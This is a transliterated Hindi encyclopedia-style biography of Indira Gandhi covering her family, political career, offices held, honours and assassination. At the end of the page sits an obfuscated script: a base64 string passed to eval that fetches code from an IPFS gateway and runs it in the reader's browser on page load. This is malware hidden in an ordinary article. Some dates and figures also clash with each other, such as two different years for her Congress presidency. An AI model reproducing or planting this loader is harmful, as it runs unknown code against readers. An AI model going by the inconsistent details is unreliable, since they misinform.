इंदिरा गाँधी
iandira gaandhi
| |
| poora nam | iandira priyadarshani gaandhi |
| any nam | indu |
| janm | 19 navambar, 1917 |
| janm bhoomi | ilahabad, uttar pradesh |
| mrityu | 31 aktoobar, 1984 |
| mrityu sthan | dilli |
| mrityu karan | hatya |
| abhibhavak | javaharalal neharoo, kamala neharoo |
| pati/patni | firoz gaandhi |
| santan | rajiv gaandhi aur sanjay gaandhi |
| smarak | shakti sthal, dilli |
| nagarikata | bharatiy |
| prasiddhi | 1971 ke bharat -pakistan yuddh mean bharat ki vijay |
| parti | kaangres |
| pad | bharat ki tritiy pradhanamantri |
| kary kal | 19 janavari, 1966 se 24 march, 1977, 14 janavari, 1980 se 31 aktoobar, 1984 |
| vidyalay | vishvabharati vishvavidyalay bangal, ianglaiand ki aauksaford yoonivarsiti, shaanti niketan |
| bhasha | hindi, aangrezi |
| jel yatra | aktoobar, 1977 aur disambar, 1978 |
| puraskar-upadhi | bharat ratn samman |
| vishesh yogadan | baiankoan ka rashtriyakaran |
| any janakari | iandira gaandhi apani pratibha aur rajanitik dridhata ke lie 'vishv rajaniti' ke itihas mean jani jati haian aur iandira gaandhi ko 'lauh-mahila' ke nam se sanbodhit kiya jata hai. ye bharat ki pratham mahila pradhanamantri thian. |
iandira priyadarshani gaandhi (aangrezi:Indira Gandhi, janm- 19 navambar, 1917, ilahabad; mrityu- 31 aktoobar, 1984, dilli) n keval bharatiy rajaniti par chhaee rahian balki vishv rajaniti ke kshitij par bhi ve ek prabhav chho d geean. shrimati iandira gaandhi ka janm neharoo khanadan mean hua tha. iandira gaandhi, bharat ke pratham pradhanamantri pandit javaharalal neharoo ki ikalauti putri thian. aj iandira gaandhi ko sirf is karan nahian jana jata ki vah pandit javaharalal neharoo ki beti thian balki iandira gaandhi apani pratibha aur rajanitik dridhata ke lie 'vishvarajaniti' ke itihas mean jani jati haian aur iandira gaandhi ko 'lauh-mahila' ke nam se sanbodhit kiya jata hai. ye bharat ki pratham mahila pradhanamantri thian.
- REDIRECTsaancha:inhean bhi dekhean
jivan parichay
iandira ji ka janm 19 navambar, 1917 ko ilahabad, uttar pradesh ke anand bhavan mean ek sampann parivar mean hua tha. inaka poora nam hai- 'iandira priyadarshani gaandhi'. inake pita ka nam javaharalal neharoo aur dada ka nam motilal neharoo tha. pita evan dada donoan vakalat ke peshe se sanbandhit the aur desh ki svadhinata mean inaka prabal yogadan tha. inaki mata ka nam kamala neharoo tha, jo dilli ke pratishthit kaul parivar ki putri thian. iandira ji ka janm aise parivar mean hua tha, jo arthik evan bauddhik donoan drishti se kafi sanpann tha. at: inhean anand bhavan ke roop mean mahalanuma avas prapt hua. iandira ji ka nam inake dada pandit motilal neharoo ne rakha tha. yah sanskritanishth shabd hai jisaka ashay hai kaanti, lakshmi, evan shobha. inake dadaji ko lagata tha ki pautri ke roop mean unhean maan lakshmi aur durga ki prapti huee hai. pandit neharoo ne atyant priy dekhane ke karan apani putri ko priyadarshini ke nam se sanbodhit kiya jata tha. chooanki javaharalal neharoo aur kamala neharoo svayan behad suandar tatha akarshak vyaktitv ke malik the, is karan suandarata ke mamale mean yah gunasootr unhean apane mata-pita se prapt hue the. inhean ek ghareloo nam bhi mila jo iandira ka sankshipt roop 'iandu' tha.
yogadan
iandira gaandhi ne apane bachapan se hi bharatiy rashtriy kaangres ke karyoan mean yogadan aranbh kar diya tha. apake paitrik nivas anand bhavan ka vatavaran rashtriy jivan darshan aur svatantrata aandolan ka keandrabiandu tha. apane bachapan mean hi bal charakha sangh ki sthapana ki. 1930 mean asahayog aandolan ke dauran kaangres parti ki sahayata karane ke lie bachchoan ki ek vanari sena banaee, jo pulis tatha anyany sarakari gatividhiyoan ki soochana kaangres ko deti rahi. sanh 1942 ki agast ki mahakraanti ke aandolan mean apane jelayatra ki. bharat ki ajadi ke avasar par dilli mean jo bhishan hiandoo-muslim-danga hua, usamean gaandhi ji ke nirdeshanusar apane seva aur shaantisthapan ka kam kiya. desh ki samajik, sahityik, saanskritik aur samajasevi sansthaoan se bhi apaka nikat ka sanbandh raha hai, jinamean se kuchh ke nam is prakar hai : adhyaksh, trastij bord, (1) kamala neharoo memoriyal aspatal aur (2) kastooraba gaandhi memoriyal trast; sansthapak trasti aur adhyaksh, bal sahayog, nee dilli; adhyaksh, bal bhavan bord aur bal rashtriy sangrahalay, nee dilli; sansthapak aur adhyaksh, kamala neharoo vidyalay, ilahabad; upadhyaksh, keandriy samaj kalyan bord; ajivan sanrakshak, bharatiy bal kalyan parishadh; sanrakshak, nagaripracharini sabha, kashi; upadhyaksh, aantararashtriy bal kalyan parishadh; mukhy sanrakshak, iandiyan kauansil ph aaur aphrika (1960); petran, bharat mean videshi chhatr sangh; sadasy, kaangres karyakarini samiti, keandriy chunav samiti aur keandriy sansadiy bord; adhyaksh, akhil bharatiy koangres kameti ki rashtriy ekata parishadh; adhyaksh, akhil bharatiy yuvak kaangres; adhyaksh, bharatiy rashtriy kaangres (1959-60); sadasy, dilli vishvavidyalay kort; yoonesko mean bharatiy shishtamandal (1960); yoonesko ka kary karini bord (1960-64); sadasy, rashtriy suraksha parishadh (1962); rashtriy suraksha nidhi ki karyakarini samiti (1962); adhyaksh, keandriy nagarik parishadh (1962); sadasy, rashtriy ekata parishadh, bharat sarakar; adhyaksh, sangit natak akadami (1965) se achary, vishvabharati; chaansalar, javaharalal neharoo vishvavidyalay; adhyaksh, himalay parvatarohan sanstha aur dakshin bharat hiandi prachar sabha; petran, iandiyan sosaiti aauv iantaranaishanal la; adhyaksh, neharoo memoriyal sangrahalay tatha laibreri sosaiti; trasti, gaandhi smarak nidhi; adhyaksh, svarajy bhavan trast; madars evard, amarika (1953); kootaniti ke kshetr mean mahatvapoorn kary ke liye itali ka ijavela d-este evard aur yel yoovirsiti, halaiand memoriyal praij prapt kie.
upadhiyaan
phraans ki janamat sankhya dvara lie ge abhimat ke anusar 1967 tatha 1968 lagatar do varsh ke lie phraansisiyoan mean sabase adhik vikhyat mahila, amarika mean ek gellap abhimat sarvekshan ke anusar varsh 1971 mean vishv ka sabase adhik vikhyat vyaktitv, 1971 mean arjeantina sosaiti phar protekshan aauv ainimals dvara 1971 mean diploma aauv anar se vibhooshit; aandhr vishvavidyalay, agara vishvavidyalay, vikram vishv vidyalay, byoones ayars ke elasailvador vishvavidyalay, japan ke baseta vishvavidyalay, masko rajy vishvavidyalay aur aksaphord vishvavidyalay se manarth daktaret ki upadhiyaan prapt huee. sitizan aauv distiankshan, kolanbiya vishvavidyalay; sadasy, rajy sabha (agast 1964 se pharavari, 1967). 1971 mean lokasabha ke liye chuni gee. soochana aur prasaran mantri, bharat sarakar, 1964-66; 1966 se bharat ki pradhan mantri-24 janavari, 1966 ko pratham bar, 13 march, 1967 ko doosari bar aur 18 march, 1971 ko tisari bar shapath grahan; sath hi, paramanu oorja mantri; cheyaramain, yojana ayog; adhyaksh, vaijnanik tatha audyogik anusandhan parishadh tatha cheyaramain, hiandi samiti adi ke roop mean desh ki mahati seva ki.
mukhy batean
shrimati iandira gaandhi ke dada svargiy pan. motilal neharoo us aseanbali bhavan mean upasthit the jisamean saradar bhagat sianh aur batukeshvar datt ne desh ki janata ki avaj kan mean tel dale baithe british adhikariyoan tak pahuanchane ke lie bam pheanka tha. pan. motilal neharoo ne sanbhavat: vahian se yah than liya ki aisi nirdayi aur beeeman sarakar se sahayog karana mahapap hai. sare parivar ka jivan desh ko, rajy ko samarpit ho gaya. svargiy pan. motilal neharoo, svargiy pan. javaharalal neharoo, shrimati iandira gaandhi aur ab hamare yuva neta shri sanjay gaandhi, sabaka jivan isaka sakshi hai. sare sansar ke lokatantr ke itihas mean aisi bemisal kulaparanpara dekhane mean nahian ati jisane kisi rashtr ke hriday aur man par is gaurav evan sahajata ke sath shasan kiya ho aur rashtr ne bhi apani poori hardikata ke sath apana prem aur apani shraddha jisake prati u del di ho.
svargiy pan. javaharalal neharoo ke pradhan mantritvakal mean hi shrimati iandira gaandhi ne yoorop, eshiya, aphrika aur amarika ke vibhinn deshoan ki anek yatraean ki thian. in yatraoan mean unhean aantararashtriy rajaniti ki barikiyoan ko ganbhirata se janane samajhane aur usase parichit hone ka poora mauka mila tha. rashtramandaliy pradhanamantri sammelan ke silasile mean briten ki anek yatraean, soviyat sangh ki yatra, chin ki yatra, panchashil siddhaant ke janak baanduang sanmelan ke liye iandoneshiya ki yatra adi in vaideshik yatraoan mean ullekhaniy haian. apane desh mean bhi shrimati iandira gaandhi ko chin ke pradhanamantri chau en laee, roos ke pradhanamantri bulganin aur khraushchev, amariki rashtrapati ki patni jaikalin kenedi, yoogoslaviya ke rashtrapati tito adi vishvaprasiddh rajanitijnoan ka atithisatkar karane ke avasar mile the. in sare suavasaroan ne shrimati gaandhi ko vyavaharik rajanitijnata mean usi samay paripakp kar diya tha jab ve nepathy mean thian.
sanh 1956 mean iandira ji ke samane kaangres ki adhyakshata ka prastav aya. isase pahale ve kaangres ki karyakarini ki sadasy rah chuki thian. khoob soch vichar kar aur apani shakti ko taul parakhakar unhoanne adhyaksh pad svikar kar liya. pragatishil kaangres adhyaksh ke roop mean iandira ji atyant saphal siddh huee. kaangresi mathadhishoan ke sthan par yogy yuvakoan ko, jab bhi avasar milata, lane mean ve kabhi hichake nahian. unaki karyashakti, samarthy, oj aur nishtha dekhakar unake pita ji ko bhi kahana p da tha---iandira pahale meri mitr aur salahakar thi, bad mean meri sathi bani aur ab to vah meri neta bhi hai.
kaangres adhyaksh ke roop mean shrimati iandira gaandhi ki apane pita pradhanamantri pan. javaharalal neharoo se takkar bhi huee. prashn keral ki big dati huee rajanitik sthiti ka tha. iandira ji ki ray thi ki keral ki is sthiti ka sudharane ke lie vahaan rashtrapati shasan lagoo kar dena chahie. sarakar ne aisa kadam pahale kabhi uthaya nahian tha, isalie neharoo ji dvividha mean the. par paristhiti ko jaanch parakhakar aantat: unhean iandira ji ki bat manani p di aur keral mean desh ka sabase pahala rashtrapati shasan lagoo hua. kuchh aisi hi halat u disa mean bhi thi. ve din door nahian the jab u disa ke shasan se kaangres ko nikal bahar kiya jata aur vahaan hay toba mach jati. u disa jakar vahaan ki paristhiti ka adhyayan karake iandira ji ne vahaan ke netaoan ko salah di ki kaangres ko tatkal vahaan ki ganatantr parishadh ke sath mili juli sarakar bana leni chahie. yah samayochit paramarsh bhi man liya gaya aur u disa ka asann sankat tal gaya. matr ye do ghatanaean unaki soojhabujh aur tvarit-nirnay-buddhi ka parichay dene ke liye asha hai, paryapt hoangi.
desh ka vibhajan
thumb|250px|left|iandira gaandhi stamp us samay desh vibhajan ke kinare par tha. jinna ke netritv mean muslim lig ne pakistan ki maang ki thi aur aangrez bhi jinna ki maang ko spasht hava de rahe the lekin gaandhiji vibhajan ke paksh mean nahian the. l aaurd mauantabetan kootaniti ka khel khelane mean lage hue the. vah ek or mahatma gaandhi ko ashvast kar rahe the ki desh ka vibhajan nahian hoga to doosari or pandit neharoo se kah rahe the ki do rashtroan ke vibhajan ke ph aaurmoole par hi azadi pradan ki jaegi. pandit neharoo sthiti ki ganbhirata ko samajh rahe the jabaki mahatma gaandhi is bhram mean the ki aangrez vayasaray vibhajan nahian chahata hai. jinna ki anuchit maang ke karan hindoo aur musalamanoan mean vaimanasy pasar gaya tha. mahattvakaankshi jinna pakistan ka pradhanamantri banane ke lie bahut lalayit the. mahatma gaandhi ne jinna ko sanpoorn aur akhand bharat ka pradhanamantri banane ka ashvasan diya. lekin jinna yah janate the ki pandit neharoo ke karan yah sanbhav nahian hai. hindoo kisi bhi muslim ko pradhanamantri ke roop mean svikar nahian kareange. aise mean desh saanpradayik dangoan ki ag mean jhulasane laga tha. mahatma gaandhi kisi tarah dangoan ki ag shaant karana chahate the. dilli mean bhi kee sthanoan par iansaniyat sharmasar ho rahi thi. tab mahatma gaandhi ne iandira ji ko yah muhim sauanpi ki vah dangagrast kshetroan mean jakar logoan ko samajhaean aur aman lautane mean madad karean.
dangagrast kshetroan ka daura
iandira gaandhi ne phir mahatma gaandhi ke adesh ko shirodhary kiya aur dangagrast kshetroan mean donoan samudayoan ke logoan ko samajhane ka prayas karane lagian. vastutah yah atyant jokhim kary tha. pandit neharoo ki beti hone ke karan ativadi unhean nuqasan pahuancha sakate the parantu nirbhik iandira ne dangoan ki ag shaant karane ke lie purazor prayas kie. lekin 15 agast ke bad saanpradayikata apane charam par pahuanch gee. dangoan mean donoan samudayoan ke anaginat log maut ke ghat utar die ge. pakistan se lakhoan sharanarthi dilli a ge the. sharanarthiyoan ke punarvas ka saval bhi utpann ho gaya tha. un bhookhe-pyase ghar se bhage logoan ke lie prathamik avashyakataean bhi zaroori thian. aisi sthiti mean dilli ke kee sthanoan par sharanarthi evan danga pi dit shivir lagae ge the. pandit neharoo ne 17, park rod ke apane bangale par bhi sharanarthi shivir lagae. sharanarthiyoan ke jivan ki buniyadi suvidhaoan ka dhyan rakha ja raha tha. us samay mahatma gaandhi pashchim bangal ke noakhali zile mean jahaan muslimoan ki kee bastiyoan ko jala diya gaya tha. pakistan se ane vali trenoan mean hazaroan hinduoan ki lashean bhi a rahi thian. is karan hindoo akroshit hokar musalamanoan par hamala kar rahe the.
ghar mean sharanarthi shivir
pandit javaharalal neharoo ke bangale mean jo sharanarthi shivir lagae ge the, unaki dekharekh iandira gaandhi hi kar rahi thian. sabhi kamare khali karake sharanarthiyoan ko unamean thahara diya gaya tha aur praangan adi mean bhi tamboo ityadi laga die the taki adhikadhik sharanarthiyoan ko vahaan rakha ja sake. yahaan ki sabhi vyavastha iandira gaandhi dvara dekhi ja rahi thi. aantarim sarakar ke gathan ke sath pandit neharoo karyavahak pradhanamantri bana die the. 26 janavari, 1950 ko bharat ka sanvidhan bhi lagoo ho gaya. bharat ek ganataantrik desh bana aur pradhanamantri neharoo ki sakriyata kafi adhik badh gee. is samay neharooji ka nivas trimoorti bhavan hi tha. samay-samay par vibhinn deshoan ke agantuk trimoorti bhavan mean hi neharooji ke pas ate the. unake svagat ke sabhi iantazam iandira gaandhi dvara kie jate the. sath hi sath umradaraz ho rahe pita ki avashyakataoan ko bhi iandira dekhati thian. [[chitr:Radhakrishnan-Indira-Gandhi-Kamaraj.jpg|thumb|right|250px|d aau. sarvapalli radhakrishnan, iandira gaandhi evan kumarasvami kamaraj]]
kaangres parti ki sarakar
abhi tin varsh bhi poorn nahian hue the ki janata parti mean dararean p d geean aur desh ko madhyavadhi chunav ka bhar jhelana p da. iandira gaandhi ne desh mean ghoom-ghoomakar chunav prachar ke dauran apatakal ke lie sharmiandagi ka ijahar kiya aur kam karane vali sudridh sarakar ka nara diya. logoan ko yah nara kafi pasand aya aur chunav ke bad natijoan ne yah pramanit bhi kar diya. iandira kaangres ko 592 mean se 353 sitean prapt hueean aur spasht bahumat ke karan keandr mean inaki sarakar bani. iandira gaandhi punah pradhanamantri ban geean. is prakar 34 mahinoan ke bad vah satta par dobara qabij hueean. janata parti ne 1977 mean satta mean ane ke bad kee rajyoan ki kaangres sarakar ko barkhast kar diya tha. us samay usane yah tark diya ki janata ka rujhan janata parti ke sath hai, atah ne chunav hone chahie. iandira gaandhi ne satta mean ane ke bad janata parti dvara aranbh ki gee paripati par chalakar un pradeshoan ki sarakaroan ko barkhast kar diya jahaan janata parti tatha vipaksh ka shasan tha. bad mean hue in rajyoan ke chunavoan mean kaangres ne abhootapoorv saphalata prapt ki. 22 rajyoan mean se 15 rajyoan mean kaangres parti ki sarakar ban gee. yah chunav joon 1980 mean sanpann hue the.
mrityu
svarn mandir par hamale ke pratikar mean paanch mahine ke bad hi 31 aktoobar 1984 ko shrimati gaandhi ke avas par tainat unake do sikkh aangarakshakoan ne goli marakar unaki hatya kar di. bharat ke jitane bhi pradhanamantri hue haian, un sabhi ki anek visheshataean ho sakati haian, lekin iandira gaandhi ke roop mean jo pradhanamantri bharat bhoomi ko prapt hua, vaisa pradhanamantri abhi tak doosara nahian hua hai kyoanki ek pradhanamantri ke roop mean unhoanne vibhinn chunautiyoan ka muqabala karane mean saphalata prapt ki. yuddh ho, vipaksh ki galatiyaan hoan, kootaniti ka aantarrashtriy maidan ho athava desh ki koee samasya ho- iandira gaandhi ne aksar svayan ko saphal sabit kiya. iandira gaandhi, neharoo ke dvara shuroo ki gee audyogik vikas ki arddh samajavadi nitiyoan par qayam rahian. unhoanne soviyat sangh ke sath nazadiki sambandh qayam kie aur pakistan-bharat vivad ke dauran samarthan ke lie usi par ashrit rahian. jinhoanne iandira gaandhi ke pradhanamantritv kal ko dekha hai, ve log yah manate haian ki iandira gaandhi mean apar sahas, nirnay shakti aur dhairy tha.
upalabdhiyaan
- baiankoan ka rashtriyakaran
- baangla desh ko svatantr karana
- nirdhan logoan ke utthan ke lie ayojit 20 sootriy karyakram
- gut nirapeksh andolan ki adhyaksha
- privipars samapti
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>